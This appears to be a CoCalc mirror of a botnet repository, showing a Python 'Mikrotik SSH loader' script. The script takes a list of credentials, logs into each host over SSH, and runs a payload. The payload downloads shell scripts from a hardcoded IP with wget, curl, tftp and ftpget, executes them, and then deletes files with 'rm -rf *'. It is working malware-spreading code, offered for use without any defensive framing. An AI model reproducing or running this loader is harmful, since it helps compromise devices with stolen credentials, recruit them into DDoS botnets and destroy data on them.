Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Exploits/MIKROTIK SSH LOADER/Mikrotik.py
5038 views
1
#!/usr/bin/python
2
#Mikrotik loader made by slumpthegod @telnut
3
#Corrections made by @babyyrex
4
#creds to babyyrex for the payload detection
5
#closed port fix by slump
6
#made simply for kowai
7
8
import sys, re, os, paramiko, socket
9
from threading import Thread
10
from time import sleep
11
from Queue import *
12
13
queue = Queue()
14
queue_count = 0
15
16
if len(sys.argv) < 2:
17
sys.exit("\033[37mUsage: python "+sys.argv[0]+" [vuln list]")
18
ip = "138.68.21.206"
19
payload = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://138.68.21.206/8UsA.sh; curl -O http://138.68.21.206/8UsA.sh; chmod 777 8UsA.sh; sh 8UsA.sh; tftp 138.68.21.206 -c get t8UsA.sh; chmod 777 t8UsA.sh; sh t8UsA.sh; tftp -r t8UsA2.sh -g 138.68.21.206; chmod 777 t8UsA2.sh; sh t8UsA2.sh; ftpget -v -u anonymous -p anonymous -P 21 138.68.21.206 8UsA1.sh 8UsA1.sh; sh 8UsA1.sh; rm -rf 8UsA.sh t8UsA.sh t8UsA2.sh 8UsA1.sh; rm -rf *"
20
print "\033[35m"
21
22
lines = open(sys.argv[1],"r").readlines()
23
paramiko.util.log_to_file("/dev/null")
24
25
def send_payload(username,password,ip): #simple layout u can change if u want
26
try:
27
port = 22
28
ssh = paramiko.SSHClient()
29
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
30
ssh.connect(ip, port = port, username=username, password=password, timeout=3)
31
ssh.exec_command(payload)
32
print "\x1b[1;37m Mikrotik Attempt \x1b[1;33m-- \x1b[1;35m" + ip + "\033[37m"
33
sleep(15)
34
ssh.close()
35
except:
36
pass
37
38
def check(login):
39
if login.startswith("DUP"): #Making sure dups dont join
40
return
41
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
42
s.settimeout(5)
43
try:
44
s.connect((login.split(":")[2], 22))
45
s.close()
46
send_payload(login.split(":")[0], login.split(":")[1], login.split(":")[2])
47
except:
48
pass
49
50
def load_queue(to_open):
51
global queue_count
52
for line in open(str(to_open), "r").readlines():
53
line = line.strip("\r\n")
54
queue_count += 1
55
sys.stdout.write("\r[%d] Added to queue" % (queue_count))
56
sys.stdout.flush()
57
queue.put(line)
58
sys.stdout.write("\n")
59
60
def main():
61
if len(sys.argv) < 2:
62
sys.exit("%s [list]" % (sys.argv[0]))
63
i = 0
64
load_queue(sys.argv[1])
65
while i != queue_count:
66
i += 1
67
try:
68
input = queue.get()
69
thread = Thread(target=check, args=(input,))
70
thread.start()
71
except KeyboardInterrupt:
72
sys.exit("Interrupted? (ctrl + c)")
73
thread.join()
74
return
75
76
if __name__ == "__main__":
77
main()
78
79
80